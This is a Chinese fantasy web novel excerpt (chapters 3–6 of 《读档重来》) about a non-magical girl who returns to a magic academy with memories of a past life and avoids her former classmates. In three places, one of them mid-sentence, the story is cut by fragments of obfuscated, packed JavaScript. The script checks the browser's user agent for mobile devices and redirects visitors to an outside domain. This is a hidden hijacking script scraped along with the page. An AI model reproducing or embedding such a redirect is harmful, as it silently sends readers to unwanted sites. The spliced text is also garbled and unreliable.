《读档重来》 3. 第三章 白佳果的邮箱收到了各个年级各个班的课程表，附带还有不同课程需要的教材书和讲课进度，贴心得令人害怕。 她没有盲目依赖上辈子的记忆，而是对大伯和空想雅说明了自己感兴趣的方向，在他们的建议下给自己挑选了几门课程。 最近的一节课在第二天上午，她一大早醒来就拿到了课本和熨烫平整的校服，吃过早餐后来到学校。 “我就在学校附近，有需要请一定及时联系我。”空想雅叮嘱白佳果。 白佳果连连点头，又朝送她来学校的大伯挥了挥手：“我去上课啦。” 泛理：“去吧。” 白佳果抱着课本，用脖子上挂的学生证进入学校。 看着白佳果远去的背影，空想雅不赞同地对自家老板说道：“您应该对她再多点关心和交流。” 不仅仅是供她吃穿，满足她的基本需求，也问问她为什么会来这里，为什么对时间魔法和防御幻术，以及各种族的弱点如此感兴趣，是不是遇到了什么危险或困难，愿不愿意向他倾诉。 泛理：“这也是你的职责所在吗？” 空想雅微笑着回答：“是的，我接受的职业教育让我认为有必要提醒您。” 如果不是白佳果生来没有魔法天赋，被送去另一个世界，空想雅本该作为白佳果——这个古老家族的小主人——的左膀右臂，看着她长大，关心她爱护她，凡事以她为先，这就是空想雅所接受的职业教育。 “她并不完全信任我。”白佳果的背影消失在分岔路口，泛理收回视线，回到车上。降下的车窗外，空想雅没有想到他会这么说，想替白佳果辩解，又听见他道：“这是对的，知道她在另一个世界生活的人不多，如果她在另一个世界遇到了来自这里的威胁，那么我确实是最可疑的人选之一。” # 白佳果按照上辈子的记忆轻松找到上课的教室。 为了避免和讲课的教授不小心对视，被叫起来回答问题，她打算挑个靠后的位置，低调地把自己隐藏起来。 但她忘了自己手上戴着戒指，以至于从她进入教室起，立马有人看向了她，随后急忙收回目光，并提醒身边一脸不可思议的同学收敛点，以免冒犯。 白佳果注意到那些或明或暗的视线，反应过来自己在他们眼中就是个聚光灯，在教授眼里估计也一样，坐哪都没差别，于是找了个中间靠前的座位，不算显眼，也不妨碍听课。 黑板上还残留着上一节课的板书，其中一部分被浮空的金色光线圈了起来，标注为“不要擦”。 白佳果提了提眼镜，翻开课本去找相关的内容，全然没有要和周围同学认识一下的意思。 这倒不是因为上辈子的学习生涯有多么糟糕，正相反，上辈子的她说是班级团宠也不为过。 所有同学都愿意向她伸出援手，无论发生什么都会优先保证她的安全，课外活动也经常带她，同学生日都会给她送邀请函，即便他们中有两拨人相互不对付，也没有因为她两边都参加而冲她翻脸。 ——她早该发现不对劲的。 而不是在离开学校，回到自己的世界后不久，因为想念这里的同学特地请假过来，想约他们出来玩却被接连拒绝后才意识到自己其实没有这么讨人喜欢。 他们帮她，对她好，是因为她无法使用魔法，是弱势群体，是特殊生。 帮助特殊生可以获取额外学分，她明明知道这件事，却误以为他们之间存在友谊，还因为他们能通过自己得到学分而骄傲自满。 那是人家应得的，鬼知道她在自满什么？ 况且一些玩笑和做法在朋友之间可以算是稀松平常，但在帮助者和被帮助者之间，绝对算越界了。 她都不敢想，逐渐习惯被包容被帮助的自己在他们眼里究竟是怎样贪得无厌的嘴脸。 即便已经是上辈子的事情，白佳果回忆起来还是会觉得尴尬。 太尴尬了。 非得等人把事实摊开说明白才反应过来，那会儿的她究竟是什么级别的大傻逼啊。 白佳果不想再重蹈覆辙，所以她一开始没想过要重新入学，也很庆幸这一次即便入学，她也没有被固定在某个班级。 她不会和这里的学生产生太多交集，当然如果有人帮她，而她也确实需要帮助，那么她会接受也会感谢，让对方获得应有的学分作为回报。 更多的接触就算了，她怕总是想起上辈子的事情，学校地基会被她的脚趾抠烂。 这是白佳果上的第一节课，前半段课程出乎预料的顺利。 中间有十分钟休息时间，她埋头整理笔记，忽觉光线一暗，抬头发现是这节课的教授走到了她面前。 不知道是不是白佳果的错觉，教室里其他同学的声音好像突然变轻了许多。 负责这节课的天族教授有着一头金色长发，头顶悬着一枚标志性的光环，身上白袍搭配金饰，白袍的款式即便在穿衣风格足够多样的魔法世界也显得过于复古。 与之相比，他的外貌就显得相当年轻，看起来像个少年，不看气场只看模样，他比教室里任何一个人都像学生，且他似乎只比白佳果高半个脑袋——这可太少见了，要知道除了矮人族，这里的人形生物普遍身高都不低，她大伯一米九几，空想雅也是一米八多。 教授的眼睛是深蓝色的，就像剔透的矢车菊蓝宝石一般，自上而下低垂着视线看向白佳果的时候，长长的眼睫投下阴影，令眼底的颜色加深了两个度。 “你就是白佳果？”教授开口，嗓音很有雌雄莫辨的少年感，不过语气完全没有少年人的活泼，听起来怪严肃的。 白佳果点了点头：“嗯。” 突然多了个能自己选课的特殊生，学校自然要跟这些教授们打声招呼。 少年模样的天族教授看向白佳果的笔记，用的是他看不懂的文字，他的左眼眼球前展开一个小小的，用极细的光线勾勒的魔法阵，透过魔法阵确认白佳果的笔记不仅工整，内容也很详细，看得出来有用心听课。 但这并没有打动他，他挑了挑眉，用认真到伤人的语气，说道：“你应该清楚，无法使用魔法是基因缺陷，再怎么努力都是白费功夫。” 这下教室里是真的一点声音都没有了。 教室里的学生们清楚这位教授的嘴有多刻薄，即便他有时候并非存心伤害，只是陈述事实，说出的话也足够令人介怀。 立马有学生想凑过去缓和气氛，免得天族教授因为对弱势群体口出恶言让相关的反歧视机构盯上。虽然以这位的身份地位，多半不会有任何损失，可一旦被推上舆论的风口浪尖，很多事情都会失控，他们不想失去听其讲课的机会，天知道他们抢这门课抢得有多艰难。 结果有人先他们一步，打破了教室里的静默：“可是我来这里，并不是为了让自己拥有使用魔法的能力。” 天族教授的视线从笔记本挪到了白佳果脸上：“那是为了什么？” 白佳果猝不及防对上那双锐利漂亮的眼睛，下意识别开眼，看着黑板上关于时间魔法的演变和历史，斟酌道：“呃……真要说的话，大概是为了……找一个答案……吧。” 白佳果自己都被自己的迟疑逗笑了，这种情况下她应该坚定一点，燃起来才对吧，突然变得这么没底气算怎么回事？她把眼睛转回来，不太好意思道：“虽然不知道这个答案也不会影响我现在的生活。” 网络小说不都是这么写的吗，主角为什么会重生穿越不重要，重要的是奇迹发生之后，主角会怎样重新开始自己的生活，奔向美好的未来。可是…… “可是我很好奇，我想知道。”白佳果说。 生活不是小说，没那么多理所应当的事情，她的重生或许是谁对她的不舍和挽留，那她总是要查查看的。 天族教授静静地看了她两秒，出乎意料地点了点头：“那很好。” 说完转身准备回到讲台上，然而还没迈出一步就被白佳果叫住了：“等等教授，我有几个问题想问你。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463568|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >白佳果将笔记往前一推，趁教授自己送上门的机会，弄懂了几个在课上听到，但教授没有展开来讲的知识点，还收获了对方推荐的书单。 “谢谢，教授你真是个好人。”白佳果毫不吝啬自己的感谢。 教授：“……哼。” 下半节课和上班节课一样顺利。 快下课的时候，走廊上陆续聚集起下节课要用这间教室的学生。 白佳果本想等下课再去找教授问几个问题，结果发现走廊上的学生一个比一个眼熟——是她上辈子曾经待过的班级里的学生。 他们大概也通过白佳果的戒指意识到教室里有个特殊生，装模作样凑在窗户边偷偷朝里张望。 其中一位白色短卷发、古铜色皮肤的男生最先找到白佳果，身材高大的他直接往窗沿上一坐，大咧咧地盯着白佳果不放，就跟猛兽追到了猎物一般，用爪子压着猎物的尾巴，充满好奇地打量着。 后续落在白佳果身上的目光越来越多，怕倒是不怕，就是被上辈子的记忆重创了一下，注意力难以集中。 她走神走得很明显，路过的教授在她座位旁边停下脚步，讲课的声音没有停，但表情看着相当不和善。 白佳果反而为此放松下来。 好好好，就这样，教授站的位置正好能把她挡住。 白佳果的笔尖再次动了起来，教授察觉到她的放松，话音蓦地停下，随即轻啧一声。 教室里的学生不明所以地望向教授，就看见教授一脸不耐烦地念了句咒语，窗户边聚集的学生瞬间消失不见。 教室里的学生都惊了一下，只有教授跟没事发生一样迈开步子继续讲课，在最后几分钟内讲完了这节课剩下的内容。 下课铃声响起，白佳果收拾好课本，等教授一出教室门就跟着离开。 “教授再见。”她脚步轻盈地掠过教授，跑向楼梯。 她今天有五节大课，上午就一节，上完可以直接离开。空想雅早早等在学校门口，白佳果上了车，系好安全带，拿出手机找到学校论坛，用学生证上的学号进行注册进入校内板块，果然看到了最新发布的帖子，通过帖子内的回复，得知那群被教授弄不见的学生去了哪—— 【懂得进，有刚刚在走廊上的同学吗？】 【0l：暗号东C401，我真的很好奇你们被传送到哪里去了，拜托拜托满足一下我的好奇心吧】 【1l:？】 【2l：[坐等吃瓜]】 【7l：查了一下，上节课用东校区C栋401教室的是斯笛墨教授】 【20l：还得是斯笛墨，就因为嫌走廊上的学生太吵，直接把我们都传到西学区，换别的教授我高低发一封投诉邮件给校长】 【25l：违反校规掏扫帚还是上课迟到，这是个问题】 【30l：笑死，是因为你们在走廊上太吵吗？明明是因为你们围观特殊生跟围观动物园里的动物一样没礼貌，教授才把你们都弄走的。】 【37l：特殊生？是我理解的那个特殊生吗？我以为只有别的学校为了迎合政策才会招收特殊生，第一学院也搞这个？】 【38l：刚刚翻完相关规定回来，想问问谁有特殊生的联系方式，没别的意思，就是想关心一下新同学，对了，规定上没写，有没有人知道帮助特殊生加的学分算第几类学分？】 …… 白佳果看了一会儿，关掉手机。 上辈子她忙着赶学习进度和找爸妈的下落，还要抽空参加各种校外活动和同学邀请的聚会，生活过得非常充实，上网都少，更别说上校园论坛。 刚刚随便刷了一下，似乎是因为匿名的关系，大家什么事情都爱往论坛里发，无论大事小事，好的坏的，还有学生给糟心的舍友取了代号，细数其干的各种缺德事。 一想到自己上辈子可能因为自恋无意识间做出过什么奇葩的事情，也像这样被人放在论坛里吐槽，她就浑身不自在。 这辈子一定注意。 4.第四章 白佳果上了一个半星期的课。 课程安排紧密，不上课的时间她还会看斯笛墨教授给她推荐的书籍，之前找来的文献也没落下。 这天上午白佳果有两节大课，第一节课上完，她收拾好课本奔赴下节课上课的教室，却在抵达教室后，和同样来上课的其他同学一起被告知教授临时有事来不了，还找不到人代课，所以这节课调到了明天。 具体明天什么时间上课还要看安排，会在今晚九点之前给上这门课的学生发通知。 白佳果上星期才开始上这门课，她不确定自己会不会收到通知，也不知道能不能给教授发邮件问问。 她一边拿着手机搜教授的邮箱，一边抱着课本离开，在下楼的时候被追上来的学生叫住。 叫住她的是个黑发黑眼戴眼镜的男生，白佳果对他有印象，是一块上这门课的同学，好像还是班长来着，刚刚就是他带来了临时调课的消息。 班长拿出手机，语气柔和地问白佳果能不能加个好友，理由是：“明天的上课时间和地点会先发给我，再由我发到班群里。如果你愿意的话我可以把你拉到群里，或者你不想进群我也可以直接把通知发给你。” 班长长了一张温和无害没有攻击性的俊秀面容，黑色金属边框的眼镜令他多添了几分斯文的学生气。 顶着这么一张脸，大概很少会有人拒绝他提出来的合理请求，更何况白佳果也确实需要对方的帮助。 “那麻烦你了。”白佳果同意加对方好友，但没有进他们的班级群。 加完好友，班长又提到他们班想趁这次人齐去校外聚餐，问她要不要一起。 白佳果和他们都不认识，自然没有答应。 告别班长，白佳果继续下楼，顺带给空想雅发了条信息。 空想雅昨天提前同她打过招呼，说今天有别的事情要处理，可能会踩点来接她。 现在课程临时取消，空想雅还没来，她打算去图书馆自习，让空想雅来了给她发信息，免得她太专注忘了时间。 # 图书馆，魔法阵应用专业一年级二班的几个学生聚在靠窗的角落查找资料。 当然也不是所有人都很用心，比如坐在窗边拿着手机那位白色短卷发、古铜色皮肤的男生。别人都在埋头翻阅三年前的书册校报，就他一个人拿着一份薄薄的校刊，没翻两页就拿起手机，臭着张脸，显然心情不好。 其他人默契地没去管他，更没有安慰——男生是龙族，身为龙族选修抢课想抢龙语，结果被系统提示不符合抢课条件，因此愤愤不平，怎么看都不值得安慰。 龙族男生才不管这些，他自顾自生着气，手指百无聊赖地点开学校论坛里的帖子，扫了一眼觉得无聊，退出，刷新，看有没有新发布的有趣的帖子出现。 如果没有他就关掉论坛，去图书馆外面的自动贩卖机那买一瓶果汁喝。 然后他刷出了一条标题是【临时调课让我和学分失之交臂，该怎么调理？】的帖子。 自从特殊生出现后，论坛里经常出现有关特殊生的帖子，因为标题直接带“特殊生”会被封贴，所以出现了各种隐晦的代指。 龙族男生凭借直觉点进这条帖子，果然和特殊生有关。 贴主表示自己上星期发现特殊生来上课之后就一直摩拳擦掌等今天，誓要成为特殊生最贴心周到的好朋友，结果今天上课去晚了，到教室才知道教授调课，特殊生也早就走了，连面都没碰到，心里很难过。 【2l：友谊之神的惩罚】 【6l：只有我觉得这么做不太道德吗？冲着学分来的贴心周到好朋友？】 【7l：无论出发点怎么样，总归让需要帮助的人得到了帮助，有什么不好的。】 【10l：不计回报的好心人固然品德高尚，但也不能说冲着报酬而伸出援手的同学有多么卑劣吧，各取所需很正常。但话又说回来了，贴主这种一点小事就需要发帖问怎么调理的人，感觉是特殊生照顾ta的可能性多一点】 【11l：同情特殊生，没办法使用魔法已经很可怜了，还要被人看做是行走的学分，根本没人在意她的存在本身。】 【12l：同情特殊生不如同情同情还在为学分挣扎的自己（笑）】 楼里的学生们开启了争论，当然也有几个画风不大一样的—— 【71l：倒也不是所有人靠近特殊生都是为了拿额外学分。】 【73l：71楼我懂你，特殊生真的好可爱嘿嘿嘿】 【75l：73l和特殊生接触过？多说点，好奇，爱听。】 【75l：没有炫耀的意思，但既然有人问了，那我说一下。 咳咳（整理领带）前天和特殊生同班上过课，她就坐我旁边，我发誓我从来没有这么小心谨慎过，就怕不小心把骨头露出来吓到她。结果因为开小差太明显被教授抓起来回答问题，我都打算蒙了，一低头居然看到特殊生在旁边提醒我！！你们都不知道她有多可爱！在前桌同学背后偷偷比了个三使劲晃，生怕我看不到。要不是怕被扭送警局，我真的好想把她的手整个包进我的掌心！！】 【76l：然后连肉带骨头捏成一团是吧，有时候真想报警把你们亡灵族都抓起来。】 【80l：我昨天也碰到过特殊生，靠近才发现特殊生好矮，一米六？还是一米六二？】 【81l：有差别吗？是不是有一部分矮人族血统？】 【82l：我和她一起上过课，徒手画圆都不会，绝不可能有矮人族血统】 …… 帖子的内容开始走偏，龙族男生越看越烦：怎么都碰到了特殊生，就他碰不到？ 龙族男生看到最后一条跟帖，点下刷新，页面瞬间空白，屏幕中央弹出一个灰色的框，显示该贴已被封禁。 龙族男生退出论坛，往只有几个人的群里发了条信息说自己要去图书馆外面买饮料，接着起身离开座位。 群里另外几个同学看了眼信息，有的没管他继续翻资料，有的拿起手机回复，在群里聊了几句。 龙族男生来到图书馆外面，站在自动售卖机前买了瓶葡萄汁，图书馆内禁止饮食，所以他没有马上进去，而是在外面站了一会儿。 也就是这么一会儿的功夫，让他看到了他心心念念的特殊生。 糟糕的心情霎时间从谷底起飞。 和第一次在斯笛墨教授的课上看到的一样，那个女孩规规矩矩地穿着校服，看着很乖巧很好欺负的模样。 此刻她正驻足于林道旁，定定地看着草坪上那座学校创始人——人族魔法师应索的雕像。 龙族男生毫不避讳地将目光落在白佳果身上，同时迈开脚步，朝她走去：“你好！” 龙族男生面上扬起的笑容相当灿烂，会令人联想到看见猫就兴奋发疯的大狗。 回过神听到声音的白佳果面容僵了一瞬，她缓缓扭头看向龙族男生，拘谨地压低了自己的声音：“你好……” “我叫那渊，能交个朋友吗？”他坦率地道明了来意。 “我……”白佳果不知道该怎么接他的话，那渊不仅是她曾经的同班同学，还是玩得最好的那群人中的一个。 所以在上辈子，她好不容易有机会重返魔法世界的时候，她最期待的事情就是约他们出来聚一聚，或者她去学校找他们也行，以游客的身份进行登记，也是可以进入学校的。 结果—— “抱歉佳果，我最近在赶小组作业，可能没有时间。” “金树餐厅吗？听起来不错，可惜我跟洛以不在学校，我们去了缭城，恐怕没办法赴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白佳果缓缓收起呆愣的表情，她定定地看着那渊，看得那渊都有些不自在了，终于释然地笑了一声。 就算是既得利益者，知道真相后的白佳果也曾有过埋怨，更别提事情发生的时候她才十九岁，太年轻，尴尬过头了自然会钻牛角尖，尖锐偏执的时候甚至感觉自己是被利用、被欺骗感情的工具人，幻想着他们终有一日会后悔这么对她。 ——是一些不需要重生，过个几年回头看看便会觉得幼稚的幻想。 但原来从头到尾都没有欺骗，他们没有打算隐瞒对她好的原因，他们就是冲着这个来的。 是她没问清楚，自顾自多想了，说不定以那渊毫不遮掩的程度，她曾经听过类似的坦白只是当做玩笑没放心上而已。 嗐。 白佳果越发不想靠近他们，免得那段黑历史总在脑子里盘旋，太影响她的生活了，于是她拒绝道：“抱歉，我暂时不想和谁交朋友。” # 名为【搞清楚就解散】的聊天群里，有人发了一条信息—— 【大少：好碍眼，我们把他扔去校医楼吧】 【小少：我和我哥辛苦点负责抬，还缺个能把他打晕的】 【是金子总会发光：负责动手打晕的那个才是最辛苦的吧，所以那渊到底怎么了？】 【第六法则：@我是龙】 图书馆靠窗的角落里，回来后明显心情好转，但也不算特别高兴的那渊正在发呆，直到手机震动，他拿起手机看了眼群里的信息，也不知道是怎么想的，发了一句—— 【特殊生笑起来还挺好看的。】 5.第五章 白佳果在图书馆自习到中午十二点，饿肚子的声音和空想雅发来信息的手机震动声同时响起。 她停下笔，先回复了信息，然后才开始收拾东西离开图书馆。 离开时白佳果特地往某个方向看了一眼，虽然书架挡着什么都看不见，但她知道，那里是那渊他们来图书馆最常待的地方，之后还会成为他们的“据点”。 白佳果曾经跟着他们经历了不少事情，如果没记错，他们这会儿应该在找三年前出版的所有跟学校有关的读物，包括但不限于校刊校报、毕业学生相册，还有书画比赛和创意道具设计大赛的作品收录集等。 辛辛苦苦找了好几天，就为确认三年前学校是否有个名叫赛溪的暗夜精灵。 至于找她的原因，则跟学校里一名学生的失踪有关。 这起失踪案本轮不到那渊他们几个一年级学生来管，自会有校方和警方进行调查，但在一次校外聚餐时，他们顺手帮助了一个勤工俭学的贫困生。 贫困生不善言辞且腼腆，听他们议论起失踪案，出于答谢的目的，把埋藏在心里不敢说的秘密说了出来——他曾见过失踪的学生，在西校区边缘的白骨林附近，但是他不敢告诉任何人，因为白骨林是不允许学生私自靠近的，他去那里捡白骨树枝在网上兜售，这显然是违反校规的行为。 那渊他们也不希望贫困生因为把秘密告诉他们而被校方责罚，于是没有上报，而是选择偷偷潜入白骨林进行调查。 他们在白骨林里发现了一个残缺的魔法阵，阵法符文翻译过来，能看到一个时间和一个名字，以及名字拥有者的种族。 三年前，赛溪，暗夜精灵。 他们中有个总是泡图书馆的人族学生，人族学生记得自己在图书馆某本书上见过赛溪这个名字，但又想不起具体的出处，所以他们便一起来找。 上辈子白佳果和他们一同经历这些。 从校外聚餐那段开始就在，那渊和人族学生是发小，姓少的双胞胎则跟一个魔族女生是亲戚，他们分成两拨，虽然在同一个班级，但因为一些矛盾彼此之间有些过节，连带着其他同学也以他们为首，分成两派。 白佳果被魔族女生约出去逛街，在餐厅遇到了起冲突的那渊和双胞胎，还有正在劝架的人族学生，然后因为一起帮助贫困生，他们暂时熄火，破天荒地坐到了一桌。 之后为了防止对方跟老师打小报告，他们又一起结伴进入白骨林，路上争吵打闹就没少过。 中间还有个小插曲：白佳果跟人族学生一块和其他人走散，扭到脚不说，还差点把林子点了。 好在她反应快，用防身的圣水熄灭了火苗。 回忆到这里，白佳果不自觉露出了笑容，抛开自作多情这点不谈，她在魔法世界的校园生活确实过得很充实欢乐。 开车的空想雅注意到白佳果的表情变化，跟着放松下来。 “订的餐厅附近有一家新开的商城，下午没课，要去逛一下街，玩一会儿吗？” 白佳果想了想，最近一个多星期都在忙学习，周末也没闲着，适当放松一下也挺好：“你有时间吗？” 空想雅：“当然。” “那去吧！” 商城内有电影院，白佳果在吃饭的时候订好了电影票，吃完去逛了会儿街，买了一些零碎的小物件，时间差不多就进电影院。 同期的所有电影白佳果都曾和同学们去看过，剧情不太记得了，但她知道她订票的这部是最好看的，果然重温也不会觉得无聊，看完出来兴致依旧，又到同楼层的抓娃娃店玩了半天。 这里的抓娃娃机需要注入魔力来操控爪子，商家为了不亏本，会限制魔力输入的大小，并把灵敏度调到最高，对魔力的掌控稍微轻一点或重一点，都会导致爪子如同抽搐一般胡乱甩动或自动松爪。 白佳果喜欢抓娃娃，之前和空想雅出门就去过几次抓娃娃店，她第一次拉着空想雅进店的时候，空想雅少有地紧张了一下，因为她清楚，白佳果没办法使用这个世界的抓娃娃机。 白佳果比她更清楚，因为上辈子她就遇到过这种情况，但好在她身边总是有人陪着，她用不了，和她一起的人可以。 她会找个对抓娃娃机毫无兴趣的同学，拜托对方当自己的手，这样她就能心安理得地在一旁充当狗头军师，指挥他们放大或收敛魔力，操控爪子前一点或是后一点，硬生生把抓娃娃机玩成声控模式。 虽然她也知道自己就是嘴上起劲，起到一个气氛组的烘托作用，实际结果还是得看上手抓娃娃的那个人怎么用魔力操控爪子，但不知道是不是心理作用，被她拉来合作的同学抓上娃娃的概率，总会比别人高很多。 也亏得那些人明明对抓娃娃没兴趣却愿意当她的手，大概是因为每次娃娃抓上来，她都表现得足够激动，给够了情绪价值吧。 白佳果真的很喜欢抓到娃娃那一刻的感觉，就算不是自己上手也没关系。 然而这一次踏入娃娃机店，空想雅告诉她这家店有机械摇杆操纵的娃娃机，她也可以玩。 上辈子可没发生这样的事情，白佳果惊讶：“真的？” 当然是真的，空想雅第一次被白佳果拉进抓娃娃店时，就询问过白佳果，在她长大的世界——那个没有魔法的世界是否也有抓娃娃机，他们的抓娃娃机是怎么样的。 白佳果随口那么一答，顺便把商家会故意调整爪子松紧的概率当成吐槽给说了。 空想雅当天便去搜寻类似的设计，实在没有她可以找人研发，这对她和白佳果背后的家族而言并不是什么困难的事情。 白佳果高高兴兴去玩抓娃娃机，上手试了两把，发现连爪子会故意松开的设定都和她那边一模一样，乐得投了十次的币进去，没一会儿就抓了两只上来。 要说有什么美中不足，大概就是白佳果看上的一款娃娃只在需要魔力的机子里才有，她驻足几秒，又扭头去找机械摇杆的机子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473681|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在仅有的选择里挑选自己觉得不错的娃娃。 空想雅注意到了白佳果的驻足。 她走到白佳果看上的娃娃机前，确定这个位置能看到白佳果的身影，距离也不算远，有什么危险能第一时间赶到，于是往面前的机子里投了币。 然后抓了三十六次都没抓上。 白佳果抓完自己想要的娃娃，拉着塞满娃娃的小车过来，在空想雅即将下爪子的时候提了句：“再往左一点，一点点就好。” 空想雅控制爪子往左挪了一点点，又听到白佳果说：“重了，轻一点。” 空想雅知道这句话的意思是她魔力输出多了，即便她记得上次去别的店玩也是差不多的输出，还是听白佳果的话，稍微减弱了魔力输出。 爪子落下，稳稳地抓住了娃娃。 两人一同屏住呼吸，直到娃娃落进洞里。 白佳果欢呼一声，率先蹲下去把娃娃从机子里掏出来，递给空想雅。 空想雅没接：“这是给您的。” “送给我的吗？”白佳果没有推拒，她惊喜地收下了娃娃，又从自己的小推车里掏出一只穿着执事服的红眼灰猫玩偶，塞给空想雅：“正好，这个给你，它和你好像！” 灰猫的耳朵是飞机耳，看起来就像精灵的尖耳朵一样，确实跟有着精灵耳同时又有着红色竖瞳的空想雅很像。 空想雅同样没有拒绝，收下了白佳果送给她的玩偶。 当天晚上，泛理在自己办公用的书房班台上看到了一只黑色的蝙蝠玩偶。 玩偶就坐在笔筒旁，穿着燕尾服，眼睛是用线绣制的深红色。 泛理的生活助理：“是白小姐送给您的，空想雅说这是白小姐玩抓娃娃机亲自抓上来的玩偶。” 泛理：“……” “已经检查过了，就是个普通的棉花玩偶，需要收起来吗？”助理问。 泛理：“放书架上。” 办公桌后面靠墙的书架上摆放着他最近看的书和一些收藏，多一只玩偶虽然奇怪，但并不会很显眼。 助理在架子上腾出适合的空位，忙碌间含着笑意跟自家老板分享道：“白小姐过来的时候您不在，她原本打算把玩偶放到您的椅子上，说玩偶很像您，坐椅子上正好，还拍了张照片。后来怕您看也不看就坐下把玩偶压扁，又把玩偶放到了桌上。挑了半天位置呢，要不是空想雅提醒她晚课要迟到了，恐怕等您过来她都没决定好要摆哪。” 泛理几乎能想象到白佳果拿着娃娃到处摆的场景，她肯定还征询了空想雅的建议，最后决定把娃娃放到笔筒旁边。 他对助理说：“不用放书架上了，就放桌上吧。” 简约典雅的大班台上放这么一只毛茸茸的玩偶既显眼又格格不入，但连这里的主人都没多说什么，自然也轮不到别人来置喙。 当晚泛理参加一个拍卖会，回来给白佳果带了一把嵌满魔法晶石的黑金小手枪，作为蝙蝠玩偶的回礼。 6.第六章 第二天白佳果去学校上课，按照昨晚收到的调课信息找到了上课的教室，给她发信息的班长正在教室里和同学聊天，看到她来，隔着半个教室对她露出了一抹恰到好处的温和笑颜。 白佳果礼貌地回了个笑容，然后走去窗边的位置坐下。 ——今天衣服穿少了，有点冷，晒晒太阳能暖和一些。 结果晒得太舒服，上课仅仅十分钟，连着打了两个呵欠。 她一只手撑着脸颊，一只手拿着笔做笔记，耳边听着教授讲课的声音，空气有些干燥有些冷，但身上笼罩着暖洋洋的日光。 就在她逐渐抬不起眼皮，笔尖落在纸上点画出意味不明的鬼画符时，口袋里的手机震了一下，白佳果被惊醒，放下笔用双手轻轻拍了拍自己的脸，试图以此赶跑睡意。 随后她摸出手机看了眼，是班长，说班群里有人点奶茶和咖啡，待会趁课间十分钟下楼去校门口拿，问她要不要。 曾经让一杯奶茶给喝到心动过速，去急诊科挂号被护士直接拎去插队的白佳果谢绝了班长的好意，硬撑了半节课，等到课间，她想趴着睡一会儿，又发现自己一点都不困了。 白佳果毫不意外，郁闷地在笔记上画了一团乱线。 教室外的走廊上，高高兴兴等奶茶喝的同学用肘关节怼了怼班长：“怎么不请特殊生一块喝？” “她拒绝了。”班长低垂着视线在看手机，随口回答了同学的问题。 同学诧异：“你什么时候去问的？等等，你有她联系方式？” “嗯，总得把调课通知发给她，所以去跟她加了好友。”班长说。 同学看他反应平淡，羡慕道：“不愁学分就是好啊，不像我们，老惦记着特殊生。” 班长笑了笑，收起手机，抬头透过走廊上的窗户，看向教室里一脸烦躁的白佳果。 虽然不愁学分，但他对白佳果的关注，并不比那些觊觎学分的人要少。 因为他也会好奇：无法使用魔法，又不具备足够强大的体魄，随时都有可能陷入无法反抗的危险境地，只能靠不确定何时就会被破坏的规则律法来保证自己的安全……在她眼里这个世界是什么模样？她又是否曾为此感到失意绝望？ # 上完上午第一节大课，白佳果收拾东西前往下一节课上课的教室，教室离得比较远，需要穿越东校区的大操场，再过天桥，走上一段路才能到。 好在下一节课是小课，上课时间在大约一小时后，所以她不用担心赶不上，慢慢走也来得及。 她慢吞吞路过大操场的时候，碰巧遇上别的班在上体育课。 这个世界的体育课对她而言并不安全，上辈子有体育组的女老师来给她做思想工作，将她委婉劝退。这辈子则是在空想雅的劝说下打消了好奇的念头，并由空想雅为她定制合适的运动计划，保证身体健康的同时增强一下身体素质。 体育课由多个班级一起上，分多种体育项目，不同的项目有不同的上课场地。 白佳果惊觉在大操场上课的学生里有几个熟面孔，是上辈子的同班同学，于是加快了脚步。 她目不斜视，全然不往操场上看，自然也就没发现，碰巧在操场上课的那渊结束热身后发现了她，还朝她所在的方向抬起手臂，疯狂摆手试图引起她的注意。 可惜直到最后白佳果也没转头，那渊遗憾地放下了自己的手，沮丧的模样像极了被冷落的大狗，上课也心不在焉，被负责这节课的魔族老师狠狠拍了一下后脑勺才恢复。 之后的日子里，白佳果又遇到了那渊两次，一次是在食堂，因为下雨，加上迟点还有晚课，白佳果让来接她的空想雅登记入校，两人直接在学校食堂吃的晚饭。碰到那渊的时候，那渊咬着香蕉牛奶的吸管，看到她的瞬间眼睛一亮。 要不是他身旁那位人族学生察觉到了白佳果下意识地躲避，扯着他的领子把他拽回去，他大概会直接朝白佳果走来。 第二次是在图书馆门口，那渊和他的同学们似乎在赶时间，急匆匆离开，与白佳果错过的时候，正好在十米外，那是感觉不到戒指的距离。 等那渊凭借他那惊人的直觉回头时，白佳果已经进入图书馆。 白佳果大概能猜到他们要去哪里。 白佳果拿出手机，进入学校论坛，果然发现一条关于学生失踪的帖子，虽然点进去的时候显示帖子已经被删除，但白佳果知道，在最新的跟贴里，有知情人透露又有第二名学生失踪。 上辈子也是这样，他们查清了一切的来龙去脉，商量着要怎么在不暴露贫困生的情况下把真相告诉学校，结果还没商量好，他们就看到了这条帖子，索性先赶去白骨林救人，这样事后学校问起，他们可以谎称是自己违法校规进去探险，意外撞上了失踪案的始作俑者，有救人的功劳在，应该不会被学校处罚。 相当的艺高人胆大。 可即便是他们，也不敢把不会魔法的白佳果再一次带进去。 